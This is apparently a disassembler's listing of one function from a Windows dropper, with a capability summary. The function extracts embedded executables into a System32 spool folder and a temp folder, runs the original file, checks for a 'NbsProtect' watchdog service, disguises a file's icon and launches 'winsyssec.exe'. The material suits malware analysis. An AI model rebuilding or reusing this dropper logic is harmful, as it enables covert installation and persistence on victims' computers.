Function at 0x401170
Capabilities:
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get common file path
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7d4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x7d0], eax
mov eax, dword [0x4057a4]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
push 0
push str.C:WindowsSystem32_spool_toolspnt
mov dword [esp + 0x14], eax
call esi
test eax, eax
je 0x401239
push 0
push str.C:WindowsSystem32_spool_toolspntlog
call esi
test eax, eax
je 0x401239
cmp dword [0x405694], 0
jne 0x40124e
push 0x104
push 0
push 0x4056a0
call sub.MSVCR90.dll_memset
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x40124e
push str.Directories_Created
push 0x403730
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_sprintf]
mov ecx, dword [0x40569c]
push ecx
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_fputs]
mov edx, dword [0x40569c]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
mov eax, dword [0x40569c]
push eax
call dword [sym.imp.MSVCR90.dll_fflush]
add esp, 0x1c
jmp 0x40124e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x40124e
mov dword [0x405694], 1
push 0x104
push 0x405370
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4012fe
cmp dword [0x405694], eax
jne 0x401677
push 0x104
push eax
push 0x4056a0
call sub.MSVCR90.dll_memset
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x401677
push str.GetModuleFileName_failed_to_retrive_the_filename
push 0x403730
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_sprintf]
mov ecx, dword [0x40569c]
push ecx
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_fputs]
mov edx, dword [0x40569c]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
mov eax, dword [0x40569c]
push eax
call dword [sym.imp.MSVCR90.dll_fflush]
add esp, 0x1c
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x7d0]
xor ecx, esp
call fcn.0040221c
mov esp, ebp
pop ebp
ret
xor edi, edi
mov ebx, 0x405370
mov esi, str.Filename_retrieved_successfully_:
call fcn.00401fb0
cmp dword [0x405694], edi
jne 0x40138a
push 0x104
push edi
push 0x4056a0
call sub.MSVCR90.dll_memset
mov esi, dword [sym.imp.MSVCR90.dll_fopen]
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call esi
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x401390
push str.Opening_File
push 0x403730
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_sprintf]
mov ecx, dword [0x40569c]
push ecx
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_fputs]
mov edx, dword [0x40569c]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
mov eax, dword [0x40569c]
push eax
call dword [sym.imp.MSVCR90.dll_fflush]
add esp, 0x1c
jmp 0x401390
mov esi, dword [sym.imp.MSVCR90.dll_fopen]
push 0x40328c
push 0x405370
call esi
add esp, 8
mov dword [0x405474], eax
test eax, eax
je 0x401422
cmp dword [0x405694], edi
jne 0x401436
push 0x104
push 0
push 0x4056a0
call sub.MSVCR90.dll_memset
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call esi
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x401436
push str.File_successfully_opened
push 0x403730
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_sprintf]
mov ecx, dword [0x40569c]
push ecx
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_fputs]
mov edx, dword [0x40569c]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
mov eax, dword [0x40569c]
push eax
call dword [sym.imp.MSVCR90.dll_fflush]
add esp, 0x1c
jmp 0x401436
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
mov esi, str.File_failed_to_open._Error_Code:
call fcn.00401fb0
mov ecx, dword [0x405474]
mov ebx, dword [sym.imp.MSVCR90.dll_fseek]
push 2
push 0
push ecx
call ebx
mov edx, dword [0x405474]
push edx
call dword [sym.imp.MSVCR90.dll_ftell]
mov dword [0x405690], eax
mov eax, dword [0x405474]
push eax
call dword [sym.imp.MSVCR90.dll_rewind]
mov ecx, dword [0x405690]
mov edx, dword [0x405474]
push 0
add ecx, 0xffffffee
push ecx
push edx
call ebx
mov eax, dword [0x405474]
mov esi, dword [sym.imp.MSVCR90.dll_fgets]
push eax
push 0xa
push 0x405588
call esi
mov edi, dword [sym.imp.MSVCR90.dll_atoi]
push 0x405588
call edi
add esp, 0x30
mov dword [0x40568c], eax
test eax, eax
jne 0x4014f0
cmp dword [0x405694], eax
jne 0x401677
push 0x104
push eax
push 0x4056a0
call sub.MSVCR90.dll_memset
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x401677
push str.Original_fileSize_found_to_be_Zero
jmp 0x4012a9
push 0x104
push 0
push 0x405588
call sub.MSVCR90.dll_memset
mov ecx, dword [0x405474]
push ecx
push 7
push 0x405588
call esi
push 0x405588
call edi
add esp, 0x1c
mov dword [0x405584], eax
test eax, eax
jne 0x40159f
cmp dword [0x405694], eax
jne 0x401677
push 0x104
push eax
push 0x4056a0
call sub.MSVCR90.dll_memset
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x401677
push str.Extractor_filesize_found_to_be_Zero
push 0x403730
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_sprintf]
mov edx, dword [0x40569c]
push edx
push 0x4056a0
call dword [sym.imp.MSVCR90.dll_fputs]
mov eax, dword [0x40569c]
push eax
call dword [sym.imp.MSVCR90.dll_fclose]
mov ecx, dword [0x40569c]
push ecx
jmp 0x4012de
push 0x104
push 0
push 0x405588
call sub.MSVCR90.dll_memset
mov edx, dword [0x405690]
mov eax, dword [0x405474]
push 0
add edx, 0xfffffffd
push edx
push eax
call ebx
mov ecx, dword [0x405474]
push ecx
push 0xa
push 0x405588
call esi
add esp, 0x24
mov ecx, 0x403318
mov eax, 0x405588
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401601
test dl, dl
je 0x4015fd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401601
add eax, 2
add ecx, 2
test dl, dl
jne 0x4015e1
xor eax, eax
jmp 0x401606
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40164a
cmp dword [0x405694], 0
jne 0x401677
push 0x104
push 0
push 0x4056a0
call sub.MSVCR90.dll_memset
push 0x4036e0
push str.C:WindowsSystem32_spool_toolspntlogExtractor_log.txt
call dword [sym.imp.MSVCR90.dll_fopen]
add esp, 0x14
mov dword [0x40569c], eax
test eax, eax
je 0x401677
push str.File_is_not_branded_with_private_version
jmp 0x401565
mov esi, dword [0x405690]
push esi
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
mov dword [0x40557c], eax
test eax, eax
jne 0x40168e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
mov esi, str.Required_memory_to_store_the_file_could_not_be_allocated._Error_Code:
call fcn.00401fb0
mov ecx, dword [esp + 0x7dc]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040221c
mov esp, ebp
pop ebp
ret
push esi
push 0
push eax
call sub.MSVCR90.dll_memset
mov edx, dword [0x405474]
push 0
push 0
push edx
call ebx
mov eax, dword [0x405474]
mov ecx, dword [0x405690]
mov edx, dword [0x40557c]
push eax
push ecx
push 1
push edx
call dword [sym.imp.MSVCR90.dll_fread]
add esp, 0x28
cmp eax, dword [0x405690]
je 0x4016dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
mov esi, str.File_couldnot_be_read_into_pFileBuf._Error_Code:
jmp 0x401672
mov eax, dword [0x405474]
push eax
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
push 0x405478
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, 0x405478
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401701
mov ecx, dword [str.BlueHeaven]
mov edx, dword [0x4033c8]
mov dword [eax], ecx
mov ecx, dword [0x4033cc]
push 0
mov dword [eax + 4], edx
push 0x405478
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x401745
xor edi, edi
mov ebx, 0x405478
mov esi, str.Temporary_folder_created:
call fcn.00401fb0
mov edi, 0x405478
dec edi
jmp 0x401750
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401750
mov dx, word [0x4033ec]
mov word [edi], dx
xor edi, edi
xor ebx, ebx
mov esi, str.Extracting_extractor_file...
call fcn.00401fb0
push 0x104
push ebx
push 0x405588
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x401790
mov cl, byte [eax + 0x405478]
mov byte [eax + 0x405588], cl
inc eax
test cl, cl
jne 0x401790
mov eax, 0x405588
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4017a7
mov ecx, dword [0x403410]
mov edx, dword [0x403414]
mov dword [eax], ecx
mov cx, word [0x403418]
mov dword [eax + 4], edx
mov dl, byte [0x40341a]
push 0x40341c
mov word [eax + 8], cx
push 0x405588
mov byte [eax + 0xa], dl
call dword [sym.imp.MSVCR90.dll_fopen]
mov ecx, dword [0x40557c]
push eax
mov dword [0x405474], eax
mov eax, dword [0x405584]
push eax
push 1
push ecx
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x18
cmp eax, dword [0x405584]
je 0x40181e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
mov esi, str.Failed_to_write_to_extractor_file._Error_Code_:
jmp 0x401672
mov edx, dword [0x405474]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
mov eax, dword [0x40557c]
mov ecx, dword [0x405584]
push 0x104
lea esi, [eax + ecx]
push 0
push 0x405588
mov dword [0x405580], esi
call sub.MSVCR90.dll_memset
mov dx, word [esi]
mov word [0x405588], dx
mov al, byte [esi + 2]
push 0x405588
mov byte [0x40558a], al
call dword [sym.imp.MSVCR90.dll_atoi]
add esp, 0x14
mov word [0x405698], ax
test ax, ax
jne 0x401889
xor edi, edi
xor ebx, ebx
mov esi, str.Total_file_count_embedded_in_the_file_is_0
jmp 0x401672
mov esi, dword [0x405580]
add esi, 3
mov dword [0x405580], esi
push 0x104
push 0
push 0x405588
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x405478]
mov byte [eax + 0x405588], cl
inc eax
test cl, cl
jne 0x4018b0
push 0x10
call dword [sym.imp.MSVCR90.dll_malloc]
mov ebx, eax
add esp, 4
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov ecx, dword [esi]
mov dword [ebx], ecx
mov edx, dword [esi + 4]
mov dword [ebx + 4], edx
mov eax, dword [esi + 8]
mov dword [ebx + 8], eax
mov ecx, dword [esi + 0xc]
mov eax, ebx
mov dword [ebx + 0xc], ecx
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018f5
mov edi, 0x405588
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401904
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x40341c
push 0x405588
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCR90.dll_fopen]
mov dword [0x405474], eax
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov eax, dword [0x405580]
mov edx, dword [eax + 0x10]
add eax, 0x10
mov dword [0x405580], eax
mov dword [ebx], edx
mov eax, dword [eax + 4]
push ebx
mov dword [ebx + 4], eax
call dword [sym.imp.MSVCR90.dll_atoi]
mov edi, eax
add esp, 0xc
test edi, edi
je 0x401677
push edi
call dword [sym.imp.MSVCR90.dll_malloc]
add dword [0x405580], 8
push edi
mov esi, eax
push 0
push esi
call sub.MSVCR90.dll_memset
mov ecx, dword [0x405580]
push edi
push ecx
push esi
call sub.MSVCR90.dll_memcpy
mov edx, dword [0x405474]
push edx
push edi
push 1
push esi
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x2c
cmp eax, edi
jne 0x401ac1
mov eax, dword [0x405474]
push eax
call dword [sym.imp.MSVCR90.dll_fflush]
mov ecx, dword [0x405474]
push ecx
call dword [sym.imp.MSVCR90.dll_fclose]
push ebx
mov ebx, dword [sym.imp.MSVCR90.dll_free]
call ebx
push esi
call ebx
mov esi, dword [0x405580]
add esi, edi
add esp, 0x10
add word [0x405698], 0xffff
mov dword [0x405580], esi
jne 0x401898
xor edi, edi
xor ebx, ebx
mov esi, str.Extracting_Original_File
call fcn.00401fb0
mov edx, dword [0x40557c]
sub edx, dword [0x40568c]
mov eax, dword [0x405690]
lea ecx, [edx + eax - 0x12]
push 0x5c
push 0x405370
mov dword [0x405580], ecx
call dword [sym.imp.MSVCR90.dll_strrchr]
push 0x104
push ebx
push 0x405588
mov esi, eax
call sub.MSVCR90.dll_memset
add esp, 0x14
push 0x405588
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, esi
mov ecx, esi
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401a50
mov edi, 0x405588
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401a61
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x40341c
push 0x405588
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCR90.dll_fopen]
mov edx, dword [0x40568c]
push eax
push edx
mov dword [0x405474], eax
mov eax, dword [0x405580]
push 1
push eax
call dword [sym.imp.MSVCR90.dll_fwrite]
add esp, 0x18
cmp eax, dword [0x40568c]
je 0x401ad5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
mov esi, str.Original_File_Couldnot_Be_Written._Error_Code:
jmp 0x401672
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, esi
mov edi, eax
mov esi, str.File_coulnot_be_written__
jmp 0x401672
mov ecx, dword [0x405474]
push ecx
call dword [sym.imp.MSVCR90.dll_fflush]
mov edx, dword [0x405474]
push edx
call dword [sym.imp.MSVCR90.dll_fclose]
xor edi, edi
xor ebx, ebx
mov esi, str.Executing_original_file
call fcn.00401fb0
push 0x44
lea eax, [esp + 0x34]
push ebx
push eax
call sub.MSVCR90.dll_memset
xor eax, eax
push 0x208
push eax
lea ecx, [esp + 0x5ec]
push ecx
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call sub.MSVCR90.dll_memset
push 0x104
lea edx, [esp + 0x5f4]
push 0x405588
push edx
call dword [sym.imp.MSVCR90.dll_mbstowcs]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x2c
push 0x403500
lea eax, [esp + 0x5d4]
push eax
call esi
mov ecx, dword [esp + 0xc]
push ecx
lea edx, [esp + 0x5d4]
push edx
call esi
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x5f0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401ba8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov esi, str.Original_File_CreateProcess_failed._Error_Code:
jmp 0x401baf
xor edi, edi
mov esi, str.Original_file_successfully_started
xor ebx, ebx
call fcn.00401fb0
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x1c]
push ecx
call esi
cmp dword [0x405694], ebx
je 0x401bd9
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor edi, edi
xor ebx, ebx
mov esi, str.Checking_if_Watchdog_Installed
call fcn.00401fb0
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test eax, eax
jne 0x401bff
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0xf01ff
push str.NbsProtect
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
jne 0x401677
xor edi, edi
xor ebx, ebx
mov esi, str.WatchDog_not_installed.
call fcn.00401fb0
mov esi, str.Copying_files_from_temporary_folder_to_main_folder
call fcn.00401fb0
push 0x104
lea edx, [esp + 0x1b4]
push ebx
push edx
call sub.MSVCR90.dll_memset
mov ecx, 9
mov esi, str.C:WindowsSystem32_spool_toolspnt
lea edi, [esp + 0x1bc]
push 0x104
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.MSVCR90.dll_malloc]
push 0x104
mov esi, eax
push ebx
push esi
mov dword [esp + 0x28], esi
call sub.MSVCR90.dll_memset
mov eax, 0x405478
mov ebx, esi
add esp, 0x1c
sub ebx, eax
mov dword [esp + 0x10], ebx
mov cl, byte [eax]
mov byte [eax + ebx], cl
inc eax
test cl, cl
jne 0x401c83
mov edi, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401c90
mov ax, word [0x4035dc]
lea ecx, [esp + 0x70]
push ecx
push esi
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [esp + 0x14], edi
cmp edi, 0xffffffff
je 0x401e0e
lea esp, [esp]
test byte [esp + 0x70], 0x10
jne 0x401dfa
push 0x104
push 0
push esi
call sub.MSVCR90.dll_memset
add esp, 0xc
mov eax, 0x405478
mov cl, byte [eax]
mov byte [eax + ebx], cl
inc eax
test cl, cl
jne 0x401ce0
lea eax, [esp + 0x9c]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401cf3
mov edi, esi
sub eax, ecx
mov edx, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401d01
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0x104
mov ecx, eax
lea edx, [esp + 0x2bc]
and ecx, 3
push 0
push edx
rep movsb byte es:[edi], byte [esi]
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x401d40
mov cl, byte [esp + eax + 0x1b0]
mov byte [esp + eax + 0x2b8], cl
inc eax
test cl, cl
jne 0x401d40
lea edi, [esp + 0x2b8]
dec edi
jmp 0x401d60
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401d60
mov ax, word [0x4033ec]
mov word [edi], ax
lea eax, [esp + 0x9c]
mov edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d80
lea edi, [esp + 0x2b8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401d91
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor edi, edi
lea ebx, [esp + 0x2b8]
mov esi, str.Copying_file__
call fcn.00401fb0
mov edx, dword [esp + 0xc]
push edi
mov ecx, ebx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x401de3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
mov esi, str.Copying_Error._Error_Code:
call fcn.00401fb0
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
lea ecx, [esp + 0x70]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401cc0
push 0x104
lea edx, [esp + 0x4cc]
push 0
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x401e30
mov cl, byte [esp + eax + 0x1b0]
mov byte [esp + eax + 0x4c8], cl
inc eax
test cl, cl
jne 0x401e30
lea eax, [esp + 0x4c8]
dec eax
jmp 0x401e50
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401e50
mov ecx, dword [str.Icon_Holder.exe]
mov edx, dword [0x403610]
mov dword [eax], ecx
mov ecx, dword [0x403614]
mov dword [eax + 4], edx
mov edx, dword [0x403618]
mov dword [eax + 8], ecx
mov cl, byte [0x40361c]
mov dword [eax + 0xc], edx
push 0x104
lea edx, [esp + 0x3c4]
push 0
push edx
mov byte [eax + 0x10], cl
call sub.MSVCR90.dll_memset
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 0x1b0]
mov byte [esp + eax + 0x3c0], cl
inc eax
test cl, cl
jne 0x401ea0
lea eax, [esp + 0x3c0]
dec eax
jmp 0x401ec0
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401ec0
mov ecx, dword [str.mskssp.exe]
mov edx, dword [0x403624]
mov dword [eax], ecx
mov ecx, dword [0x403628]
mov dword [eax + 4], edx
xor edi, edi
xor ebx, ebx
mov esi, str.Changing_icon_for_Extractor_file._Setting_to_original_icon
mov dword [eax + 8], ecx
call fcn.00401fb0
lea edx, [esp + 0x4c8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x401f18
lea ecx, [esp + 0x3c0]
push ecx
mov edi, eax
call section..text
add esp, 4
test eax, eax
jne 0x401f26
xor edi, edi
xor ebx, ebx
mov esi, str.Failed_to_change_ICON
call fcn.00401fb0
xor edi, edi
xor ebx, ebx
mov esi, str.Installing_WatchDog_Service
call fcn.00401fb0
lea eax, [esp + 0x1b0]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401f40
mov edx, dword [str.winsyssec.exe]
mov ecx, dword [0x4036a0]
mov dword [eax], edx
mov edx, dword [0x4036a4]
mov dword [eax + 4], ecx
mov cx, word [0x4036a8]
push 0
mov dword [eax + 8], edx
mov dl, byte [0x4036aa]
push 0
mov word [eax + 0xc], cx
push str.precheck
mov byte [eax + 0xe], dl
lea eax, [esp + 0x1bc]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edi, edi
xor ebx, ebx
mov esi, str.Extractor_Task_Over._Terminating_Now
call fcn.00401fb0
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]